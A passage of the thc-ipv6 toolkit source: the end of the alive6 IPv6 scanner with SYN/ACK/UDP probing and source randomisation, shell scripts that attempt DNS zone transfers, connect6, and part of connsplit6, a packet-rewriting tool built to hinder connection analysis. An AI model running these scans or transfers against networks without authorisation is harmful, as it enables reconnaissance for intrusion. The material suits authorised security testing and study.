network check!\n", MAX_VENDID); } } else { ok = -1; // already scanned } } } else if (enumerate_mac && orig_dst[11] == 0xff && orig_dst[12] == 0xfe) { i = 0; if (no_vendid > 0) for (j = 0; j < no_vendid; j++) if (memcmp(vendid[j], cur_dst, 11) == 0) i = 1; if (i == 0) { cur_enum = 1; restart = 1; } } else { cur_enum = 0; } if (curr == 0) curr++; } } } if (cur_enum > 4) { fprintf(stderr, "Error: WTF?!\n"); exit(-1); } if (print_only && ok) { p2 = thc_ipv62notation(cur_dst); printf("Address: %s\n", p2); free(p2); ok = 0; } // here we send the alive check packets - if we have a valid destination if (do_router) { routers[0] = cur_dst; routers[1] = NULL; cur_dst = router6; // switch destination and router } // central dst mac lookup and fast/slow implementation no_send = no_send_local; if (ok != 0 && cur_dst != NULL && do_router == 0 && use_dmac == 0) { if (local == -1) local = thc_is_dst_local(interface, cur_dst); if (local == 0 && slow == 0) { if (rmac == NULL) rmac = thc_get_mac(interface, src6, cur_dst); mac = rmac; } if (local && (ndp_only || slow)) mac = thc_lookup_ipv6_mac(interface, cur_dst); else mac = thc_get_mac(interface, src6, cur_dst); if (local && mac != NULL && slow == 0 && cur_dst[0] != 0xff) { // if a local system has an neighbor entry, assume its alive if the slow // mode is not set. so if proxy NA is present, use -S if (resolve) he = gethostbyaddr(cur_dst, 16, AF_INET6); p2 = thc_ipv62notation(cur_dst); printf("Alive: %s%s%s%s [NDP %02x:%02x:%02x:%02x:%02x:%02x]\n", p2, resolve ? " (" : "", resolve && he != NULL ? he->h_name : "", resolve ? ")" : "", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); if (out != NULL) fprintf(out, "%s%s%s%s\n", p2, resolve ? " (" : "", (resolve && he != NULL) ? he->h_name : "", resolve ? ")" : ""); free(p2); if (alive_no < MAX_ALIVE && (alive[alive_no] = malloc(16)) != NULL) { memcpy(alive[alive_no], cur_dst, 16); alive_no++; if (alive_no == MAX_ALIVE) fprintf(stderr, "Warning: more than %d alive systems detected, disabling " "double results check!\n", MAX_ALIVE); } tcount++; ok = 0; } else if (ndp_only) ok = 0; if (mac == NULL) { p2 = thc_ipv62notation(cur_dst); if (ndp_only == 0) fprintf(stderr, "Error: Can not resolve mac address for %s\n", p2); free(p2); ok = 0; } } if (use_dmac) mac = dmac; else if (local == 0) no_send = no_send_remote; if (ok != 0 && cur_dst != NULL) { if (renew) { while ((src6 = thc_get_own_ipv6(interface, cur_dst, prefer)) == NULL || (prefer == PREFER_GLOBAL && src6[0] > 0xfd)) { fprintf(stderr, "Error: no global IPv6 address found for interface %s, " "sleeping for 60 seconds and waiting for one! Next check in " "60 seconds ...\n", interface); sleep(60); } } if (debug) printf("DEBUG: sending alive check packets to %s\n", thc_ipv62notation(cur_dst)); else if (verbose > 2) { p2 = thc_ipv62notation(cur_dst); printf("Testing %s ...\n", p2); free(p2); } for (nos = 0; nos < no_send; nos++) { // send -n defined times, default: 1 if (rand_source) { for (i = rand_source; i < 16; i++) src6[i] = rand() % 256; } if (synports[0] != -1 || portscan) { i = 0; while ((portscan > 0 && portscan < 65536) || (synports[i] != -1 && i < MAX_PORTS)) { if (portscan > 0) if (rand_source) { for (i = rand_source; i < 16; i++) src6[i] = rand() % 256; } if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (portscan) { if (thc_add_tcp(pkt, &pkt_len, sp, portscan % 65536, (sp << 16) + sp, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; portscan++; } else { if (thc_add_tcp(pkt, &pkt_len, sp, synports[i] % 65536, (sp << 16) + sp, 0, TCP_SYN, 5760, 0, tcp_opt, TCP_OPT_LEN, NULL, 0) < 0) return -1; } if (thc_generate_pkt(interface, smac, mac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else errcnt = 0; while (thc_send_pkt(interface, pkt, &pkt_len) < 0) { usleep(1); if (errcnt > 0) usleep(errcnt << 10); else if (errcnt > 10) { printf( "Error: unable to send packet to network, waiting for 60 " "seconds to recover ...\n"); sleep(60); errcnt = 0; } errcnt++; } pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); i++; while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; } if (portscan) portscan = 1; } if (do_ping) { if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, sizeof(buf), 0) < 0) return -1; if (thc_generate_pkt(interface, smac, mac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); } if (do_dst) { if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf2, sizeof(buf2)) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, sizeof(buf), 0) < 0) return -1; thc_generate_pkt(interface, smac, mac, pkt, &pkt_len); if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); } if (do_hop) { if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf2, sizeof(buf2)) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, sizeof(buf), 0) < 0) return -1; thc_generate_pkt(interface, smac, mac, pkt, &pkt_len); if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); } if (udpports[0] != -1) { i = 0; while (udpports[i] != -1 && i < MAX_PORTS) { if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (thc_add_udp(pkt, &pkt_len, sp, udpports[i] % 65536, 0, dns6buf, sizeof(dns6buf)) < 0) return -1; if (thc_generate_pkt(interface, smac, mac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); i++; } } if (ackports[0] != -1) { i = 0; while (ackports[i] != -1 && i < MAX_PORTS) { if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, cur_dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (router6 != NULL) if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; if (thc_add_tcp(pkt, &pkt_len, sp, ackports[i] % 65536, (sp << 16) + sp, (sp << 16) + sp, TCP_ACK, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, mac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } if (router6 != NULL) { hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6( interface, src6, cur_dst, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > 1240 ? 1240 : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8); } else while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); if (waittime) usleep(waittime); i++; } } } if (ok == -1) { ok = 0; // if (cur_enum != 3) cur_enum = 0; } tcount++; if (do_router) cur_dst = router6; // switch back // cleanup if (cur_enum == 0 && cur_dst != multicast6) free(cur_dst); if (cur_enum == 0 || cur_dst[15] == 0xff || tcount % 16 == 0) while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; } if (mac != NULL && mac != rmac && use_dmac == 0) { free(mac); mac = NULL; } } // sleep(1); while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; if (curr > 1 || list > 0 || ok != 0 || tcount > alive_no || still_not_there == 1) { passed = time(NULL); do { thc_pcap_check(p, (char *)check_packets, NULL); } while (passed + 5 >= time(NULL) && (verbose > 1 || (tcount >= alive_no && (tcount > 1 || list > 0 || alive_no == 0 || still_not_there == 1)) || (multicast6 != NULL && multicast6[0] == 0xff))); } while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; thc_pcap_close(p); if (out != NULL) fclose(out); printf("\nScanned %lu address%s and found %d system%s alive\n", tcount, tcount == 1 ? "" : "es", alive_no, alive_no == 1 ? "" : "s"); if (verbose) { timeval = time(NULL); printf("Completed alive6 scan at %s\n", ctime(&timeval)); } if (alive_no) return 0; else return 1; } thc-ipv6-3.8/axfr-reverse.sh000077500000000000000000000025741376121567700160230ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 ipv6-address [prefixlength]"; echo "data is saved to \$domain-\$ns.zone"; echo if there are dns soa problems and the prefix length is not 48 you can specify it as an extra option on the command line ; exit 1; } which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } PLEN=48 FOO=$1 test -n "$2" && PLEN=$2 echo -- $1 | grep -q / && FOO=`echo $1 | sed 's/\/.*//'` dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" DOMAIN=`dig -x $FOO soa | grep -w SOA | awk '{print$1}' | grep -v ';'` test -z "$DOMAIN" && DOMAIN=`dig @8.8.8.8 -x $FOO ns | grep -w SOA | awk '{print$1}' | grep -v ';'` test -z "$DOMAIN" && { echo Error: could not get SOA entry for $FOO ; exit 1 ; } test -z "$DOMAIN" -a -n "$PLEN" && { CHARS=`expr '(' 132 - $PLEN ')' / 2` DOMAIN=`dig -x $FOO soa | grep -w SOA | awk '{print$1}' | egrep '^;' | awk '{print$1}' | cut -b ${CHARS}- ` } X=`echo $FOO | sed 's/\.$//' | tr : _` for j in `dig $DOMAIN ns | grep -w NS | grep -w IN | grep -v '^;' | awk '{print$5}'`; do echo Trying reverse zone transfer of $DOMAIN on $j ... Y=`echo $j | sed 's/\.$//'` dig @$j $DOMAIN axfr > $X-$Y.zone grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS && echo Zone saved to $X-$Y.zone grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS || rm -f $X-$Y.zone done thc-ipv6-3.8/axfr.sh000077500000000000000000000013671376121567700143510ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo Syntax: $0 domain ; echo data is saved to domain-ns.zone ; exit 1; } which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } DNS="" dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" DOMAIN=$1 X=`echo $1 | sed 's/\.$//'` echo $1 | grep -q '\.$' || DOMAIN=$DOMAIN. for j in `dig $DNS $DOMAIN ns | grep -w NS | grep -w IN | grep -v '^;' | awk '{print$5}'`; do echo Trying zone transfer of $DOMAIN on $j ... Y=`echo $j | sed 's/\.$//'` dig @$j $DOMAIN axfr > $X-$Y.zone grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS && echo Zone saved to $X-$Y.zone grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS || rm -f $X-$Y.zone done thc-ipv6-3.8/connect6.c000066400000000000000000000164551376121567700147410ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define PROGRAM "connect6" #ifndef _BSD_SOURCE struct in6_pktinfo { struct in6_addr ipi6_addr; int ipi6_ifindex; }; #endif char *prg; void help() { printf("%s %s (c) 2020 by %s %s\n\n", PROGRAM, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-a | -A type] [-i] target-ip target-port\n\n", prg); printf("Options:\n"); printf(" -a send Hop-by-Hop Router Alert option\n"); printf(" -A type like -a but lets you define the alarmtype (number)\n"); printf(" -i interactive mode (like telnet)\n"); printf(" -I end a linefeed, wait for a string, print it\n"); printf(" -O try TCP Fast Open connection\n"); printf(" -w ms wait time for connect in ms (default: 1000)\n"); printf(" -p ping mode\n"); printf("You can supply a %%interface identifier to the target-ip\n"); printf("Returns 0 on successful connect, 1 on timeout/reset\n"); exit(-1); } void myalarm(int signal) { return; } int main(int argc, char *argv[]) { int i, t = -1, conn_len, do_alert = 0, interactive = 0, optval, optlen, fastopen = 0; unsigned long int ping = 0, waitms = 1000; char buf[1033], *interface, *target; struct addrinfo * res, *aip, *aip_saved = NULL; struct addrinfo hints; struct sockaddr_in6 conn; unsigned short rtalert_code = 0; // alert type, 0 = MLD, 1 = RSVP, 2 = Active Network prg = argv[0]; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0 || strncmp(argv[1], "--h", 3) == 0) help(); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); signal(SIGALRM, myalarm); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "paA:iIOw:")) >= 0) { switch (i) { case 'w': waitms = atoi(optarg); case 'p': ping = 1; break; case 'a': do_alert = 1; break; case 'O': fastopen = 1; break; case 'A': do_alert = 1; rtalert_code = atoi(optarg); break; case 'i': interactive = 1; break; case 'I': interactive = 2; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } memset((char *)&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; hints.ai_family = AF_INET6; target = argv[optind]; if ((interface = index(target, '%')) != NULL) #ifdef SO_BINDTODEVICE *interface++ = 0; #else { fprintf(stderr, "Error: your operating system does not support SO_BINDTODEVICE, so " "I can't bind to an interface!\n"); exit(-1); } #endif else if (strncmp(target, "fe80", 4) == 0) { fprintf(stderr, "Error: to connect to an fe80:: link local address, you must " "specify an interface, e.g. fe80::1%%eth0\n"); exit(-1); } if ((i = getaddrinfo(target, argv[optind + 1], &hints, &res)) != 0) { fprintf(stderr, "Error: %s\n", gai_strerror(i)); return -1; } conn_len = sizeof(conn); for (aip = res; aip != NULL; aip = aip->ai_next) { if (t == -1) { t = socket(aip->ai_family, aip->ai_socktype, aip->ai_protocol); if (t == -1) { perror("socket"); freeaddrinfo(res); return (-1); } #ifdef SO_BINDTODEVICE if (interface != NULL) if (setsockopt(t, SOL_SOCKET, SO_BINDTODEVICE, interface, strlen(interface) + 1) < 0) fprintf(stderr, "Warning: could not bind to device %s\n", interface); #endif memset(buf, 0, 8); if (do_alert) { buf[2] = 5; buf[3] = 2; buf[4] = rtalert_code / 256; buf[5] = rtalert_code % 256; if (setsockopt(t, IPPROTO_IPV6, IPV6_HOPOPTS, buf, 8) != 0) { perror("setsockopt"); if (ping == 0) exit(-1); } } if (fastopen) { printf("go\n"); if (sendto(t, buf, 0, 0, aip->ai_addr, aip->ai_addrlen) < 0) { printf("error!\n"); perror("sendto"); (void)close(t); t = -1; continue; } printf("done\n"); } else { if (waitms < 2000) alarm(2); else alarm(waitms / 1000); if (connect(t, aip->ai_addr, aip->ai_addrlen) == -1) { perror("connect"); (void)close(t); t = -1; continue; } else aip_saved = aip; alarm(0); } break; } } if (t < 0) { fprintf(stderr, "Error: can not connect to target\n"); exit(1); } if (ping == 0) { printf("Connected.\n"); i = getsockopt(t, IPPROTO_IPV6, IPV6_MTU, &optval, &optlen); printf("MTU to target is %d (return code from getsockopt was %d)\n", optval, i); if (interactive == 1) { fcntl(fileno(stdin), F_SETFL, O_NONBLOCK); fcntl(t, F_SETFL, O_NONBLOCK); while (1) { if ((i = recv(t, buf, sizeof(buf), 0)) > 0) fwrite(buf, 1, i, stdout); if ((i = read(fileno(stdin), buf, sizeof(buf))) > 0) send(t, buf, i, 0); usleep(10); } } else if (interactive == 2) { snprintf(buf, sizeof(buf), "\r\n"); // do something else than enter maybe send(t, buf, strlen(buf), 0); alarm(3); if ((i = recv(t, buf, sizeof(buf), 0)) < 0) { close(t); return 0; } printf("%s\n", buf); } } else { fd_set myset; struct timeval tv; unsigned long int diff; close(t); printf("Connected seq=%lu\n", ping); while (1) { if ((t = socket(aip_saved->ai_family, aip_saved->ai_socktype, aip_saved->ai_protocol)) >= 0) { #ifdef SO_BINDTODEVICE if (interface != NULL) if (setsockopt(t, SOL_SOCKET, SO_BINDTODEVICE, interface, strlen(interface) + 1) < 0) fprintf(stderr, "Warning: could not bind to device %s\n", interface); #endif memset(buf, 0, 8); if (do_alert) { buf[2] = 5; buf[3] = 2; buf[4] = rtalert_code / 256; buf[5] = rtalert_code % 256; if (setsockopt(t, IPPROTO_IPV6, IPV6_HOPOPTS, buf, 8) != 0) perror("setsockopt"); } fcntl(t, F_SETFL, O_NONBLOCK); ping++; connect(t, aip->ai_addr, aip->ai_addrlen); FD_ZERO(&myset); FD_SET(t, &myset); tv.tv_sec = waitms / 1000; tv.tv_usec = (waitms % 1000) * 1000; if (select(t + 1, NULL, &myset, NULL, &tv) > 0) { diff = (tv.tv_sec * 1000) + (tv.tv_usec / 1000); printf("Connected seq=%lu %ds %dms\n", ping, (waitms - diff) / 1000, (waitms - diff) % 1000); } // wait for rest of timeout close(t); select(t + 1, NULL, NULL, NULL, &tv); } } } return 0; } thc-ipv6-3.8/connsplit6.c000066400000000000000000000366341376121567700153220ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #include "fragrouter6.h" #ifndef POLLRDHUP #define POLLRDHUP 0 #endif struct application_config { log_level_enum log_level; int buffer_size; unsigned short queue_number; nfq_callback * queue_callback; }; extern int debug; extern int do_pppoe; extern int do_hdr_off; extern int do_6in4; extern int do_hdr_vlan; struct application_config config; int exit_from_loop = 0, verbose = 0, server = 0; char * interface = NULL, ether[8]; void help(char *prg) { printf("splitconnect6 %s (c) 2020 by %s %s\n\n", VERSION, AUTHOR, RESOURCE); printf("Syntax: [-vd] %s INTERFACE client|server\n\n", prg); printf("Options:\n"); printf(" -v verbose mode\n"); printf(" -d debug mode\n"); printf( "\nManipulates all incoming (client) or outgoing (server) TCP " "connections that are\nfrom (server) or to (client) port %d, and sets a " "new destinatin (server) or\nsource (client) address.\n", THC_SPLITCONNECT_PORT); printf( "The purpose of this is a proof of concept to make connect analysis " "difficult.\n"); printf( "It is recommended to use the splitconnect6.sh script to control this " "tool.\n"); exit(0); } void log_message(log_level_enum log_level, char *message, ...) { FILE *os = log_level == LOG_ERROR ? stderr : stdout; int error_number = errno; if (log_level < config.log_level) { return; } // Check if message is null to put only a new line if (message == NULL) { fprintf(os, "\n"); return; } // Initialize dynamic argument list va_list ap; va_start(ap, message); vfprintf(os, message, ap); fprintf(os, "\n"); // Check if error_number is non zero and log_level is LOG_ERROR; if (log_level == LOG_ERROR && error_number != 0) { fprintf(os, "Error %d: %s\n", error_number, strerror(error_number)); } va_end(ap); } // Return values: == 0 => ok, >0 => soft error, <0 => hard error int netfilter_queue_callback(struct nfq_q_handle *hq, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data) { unsigned int len, id, temp_id; unsigned char * packet, payload[2048], buf[2048], *dstmac; struct ip6_hdr *packet_header; char ip_addr_source[INET6_ADDRSTRLEN], ip_addr_destination[INET6_ADDRSTRLEN]; int i, j, k, proto, drop = 0, buflen = 0; thc_ipv6_hdr hdr; // int differ = 0 // Get packet header struct nfqnl_msg_packet_hdr *hp = nfq_get_msg_packet_hdr(nfad); // Check for null pointer if (hp != NULL) { // Get packet id id = ntohl(hp->packet_id); if (verbose) log_message(LOG_DEBUG, "Packet received: %u", id); // Get payload and ip header len = nfq_get_payload(nfad, (unsigned char **)&packet); packet_header = (struct ip6_hdr *)packet; proto = packet_header->ip6_ctlun.ip6_un1.ip6_un1_nxt; // packet we generated raw? class value of 1 if ((packet[1] & 240) == 16) { packet[1] = packet[1] & 15; nfq_set_verdict(hq, id, NF_ACCEPT, len, packet); if (verbose) log_message(LOG_DEBUG, "Own generated packet passed on.\n"); } if (verbose) { // Get source and destination addresses (IP) inet_ntop(AF_INET6, &packet_header->ip6_src, ip_addr_source, INET6_ADDRSTRLEN); inet_ntop(AF_INET6, &packet_header->ip6_dst, ip_addr_destination, INET6_ADDRSTRLEN); log_message(LOG_DEBUG, " Packet Length: %u", len); log_message(LOG_DEBUG, " Payload Length: %u", htons(packet_header->ip6_ctlun.ip6_un1.ip6_un1_plen)); log_message(LOG_DEBUG, " Hop Count: %u", packet_header->ip6_ctlun.ip6_un1.ip6_un1_hlim); // Print out ip packet protocol switch (proto) { case IP_PROTOCOL_ICMP6: log_message(LOG_DEBUG, " Protocol: ICMPv6"); break; case IP_PROTOCOL_ICMP: log_message(LOG_DEBUG, " Protocol: ICMP (1)"); break; case IP_PROTOCOL_IGMP: log_message(LOG_DEBUG, " Protocol: IGMP (2)"); break; case IP_PROTOCOL_TCP: log_message(LOG_DEBUG, " Protocol: TCP (6)"); break; case IP_PROTOCOL_UDP: log_message(LOG_DEBUG, " Protocol: UDP (17)"); break; default: log_message(LOG_DEBUG, " Protocol: UNKNOWN (%d)", packet_header->ip6_ctlun.ip6_un1.ip6_un1_nxt); break; } // Print out source and destination ip log_message(LOG_DEBUG, " Source IP: %s", ip_addr_source); log_message(LOG_DEBUG, " Destination IP: %s", ip_addr_destination); // Check hook type switch (hp->hook) { // Preliminary checks (checksum) case NF_IP_PRE_ROUTING: log_message( LOG_DEBUG, " Hook: packet received from the box (PRE ROUTING)"); break; // If the packet is for the current box case NF_IP_LOCAL_IN: log_message( LOG_DEBUG, " Hook: packet is for the box (LOCAL INPUT)"); break; // If the packet is for another interface case NF_IP_FORWARD: log_message( LOG_DEBUG, " Hook: packet is for another interface (FORWARD)"); break; // If the packet come from a process case NF_IP_LOCAL_OUT: log_message( LOG_DEBUG, " Hook: packet come from the box (LOCAL OUT)"); break; // Packet is ready to hit the wire case NF_IP_POST_ROUTING: log_message(LOG_DEBUG, " Hook: packet is going out (POST ROUTING)"); break; // This is impossible, but cover it isin't give more security! default: log_message( LOG_WARNING, " Hook: unknown hook passed by netfilter (%d)", hp->hook); break; } } memcpy(payload, packet, len); // Manipulate the packet if (len >= 60) { // printf("Len OK\n"); if (payload[6] == NXT_TCP) { // printf("TCP OK\n"); int port = THC_SPLITCONNECT_PORT, pport; int modified = 0, checksum; unsigned char *src = payload + 8, *dst = payload + 24; // printf("server %d frombyte %02x tobyte %02x\n", server, payload[39], // payload[23]); if (server == 1 && payload[39] == THC_SPLITCONNECT_FROM_BYTE) { pport = (unsigned int)(((unsigned int)(payload[42] << 8)) + ((unsigned int)payload[43])); // printf("port %d == %d\n", THC_SPLITCONNECT_PORT, pport); if (pport == THC_SPLITCONNECT_PORT) { payload[39] = THC_SPLITCONNECT_TO_BYTE; modified = 1; } } if (server == 0 && payload[39] == THC_SPLITCONNECT_TO_BYTE) { pport = (unsigned int)(((unsigned int)(payload[40] << 8)) + ((unsigned int)payload[41])); // printf("port %d == %d\n", THC_SPLITCONNECT_PORT, pport); if (pport == THC_SPLITCONNECT_PORT) { payload[39] = THC_SPLITCONNECT_FROM_BYTE; modified = 1; } } if (modified) { // update TCP checksum // printf("CHANGED\n"); payload[56] = 0; payload[57] = 0; checksum = checksum_pseudo_header(src, dst, NXT_TCP, payload + 40, len - 40); payload[56] = checksum / 256; payload[57] = checksum % 256; } } } // Netfilter supported verdicts: // - NF_DROP, drop the packet; don't continue traversal; // - NF_ACCEPT, continue traversal as normal; // - NF_STOLEN, I've taken over the packet; don't continue traversal; // - NF_QUEUE, queue the packet (usually for userspace handling); // - NF_REPEAT, call this hook again. // - NF_STOP, stop the packet (???) nfq_set_verdict(hq, id, NF_ACCEPT, len, payload); // Send a null message to put a break if (verbose) log_message(LOG_DEBUG, NULL); } else { log_message(LOG_WARNING, "Unable to read packet header"); return 1; } return 0; } int netfilter_queue_startup(struct nfq_handle **h, struct nfq_q_handle **hq) { // Try to open netfilter queue handle if ((*h = nfq_open()) == NULL) { *h = 0; log_message(LOG_ERROR, "Error while opening netfilter queue"); return EXITCODE_NFQ_OPEN_FAILED; } log_message(LOG_DEBUG, "Netfilter queue opened successfully"); if (nfq_unbind_pf(*h, AF_INET6) != 0) { log_message( LOG_WARNING, "Failed to unbind AF_INET6 from netfilter queue, not a critical error"); } // Bind the obtained nf queue handle to AF_INET6 protocol if (nfq_bind_pf(*h, AF_INET6) != 0) { log_message(LOG_ERROR, "Error while binding AF_INET6 protocol to handle"); return EXITCODE_NFQ_BIND_FAILED; } log_message(LOG_DEBUG, "Netfilter queue will read only IPv6 packets"); // Hook a queue if ((*hq = nfq_create_queue(*h, config.queue_number, config.queue_callback, NULL)) == NULL) { // Reset hq *hq = 0; log_message(LOG_ERROR, "Error while attaching to netfilter queue"); return EXITCODE_NFQ_CREATEQUEUE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue attached successfully"); // Set copy mode for patckes if (nfq_set_mode(*hq, NFQNL_COPY_PACKET, 0xffff) != 0) { log_message(LOG_ERROR, "Error while setting copy packet mode"); return EXITCODE_NFQ_SETMODE_FAILED; } log_message(LOG_DEBUG, "Netfilter copy packet mode set successfully"); // All goes well return EXITCODE_OK; } int netfilter_queue_loop(struct nfq_handle **h, struct nfq_q_handle **hq) { int buffer_size = sizeof(char) * config.buffer_size; char *buffer = (char *)malloc(buffer_size); int poll_events; int recv_length; // Check if buffer was allocated if (buffer == NULL) { log_message(LOG_ERROR, "Error while allocating buffer for %d bytes for netfilter " "queue messages", sizeof(char) * config.buffer_size); return EXITCODE_NO_MEMORY; } // Set memory to zero memset(buffer, 0, buffer_size); // Set exit from main loop switch exit_from_loop = 0; // Initialize poll struct struct pollfd *fds = malloc(sizeof(struct pollfd)); // Get netqueue netlink socket fd int fd = nfq_fd(*h); // Loop packets received by the queue do { memset(fds, 0, sizeof(struct pollfd)); fds->fd = fd; fds->events = POLLIN | POLLRDHUP; // Use poll to check if there is stuff to read from netfilter socket if ((poll_events = poll(fds, 1, 50)) < 0) { // Verifica se l'errore ? di tipo 4 e se ? stata richiesta l'uscita // dal loop perch? in quel caso non va stampato nessun errore if (errno == 4 && exit_from_loop == 1) { // do nothing } else { // Advise the user log_message(LOG_ERROR, "Poll error"); // Set exit from loop switch exit_from_loop = 1; } } else if (poll_events == 1) { // Check if socket shutdown for any reason if (fds->revents & POLLHUP) { // Advise the user log_message(LOG_ERROR, "Netfilter netlink socket closed unexpectedly"); // Set exit from loop switch exit_from_loop = 1; } // Check if socket got an error (teorycally this stuff should be managed // by netfilter netlink subsystem, but few lines of code doesn't kill // anyone) else if (fds->revents & POLLERR) { // Advise the user log_message(LOG_ERROR, "Netfilter netlink socket error"); // Set exit from loop switch exit_from_loop = 1; } else { // Read the stuff recv_length = recv(fds->fd, buffer, buffer_size, 0); // Pass the packet to netfilter queue banckend nfq_handle_packet(*h, buffer, recv_length); } } } while (exit_from_loop == 0); free(buffer); free(fds); return EXITCODE_OK; } int netfilter_queue_shutdown(struct nfq_handle **h, struct nfq_q_handle **hq) { // Check if queue was attached if (*hq != 0) { // Try to destroy the queue if it was attached if (nfq_destroy_queue(*hq) != 0) { log_message(LOG_ERROR, 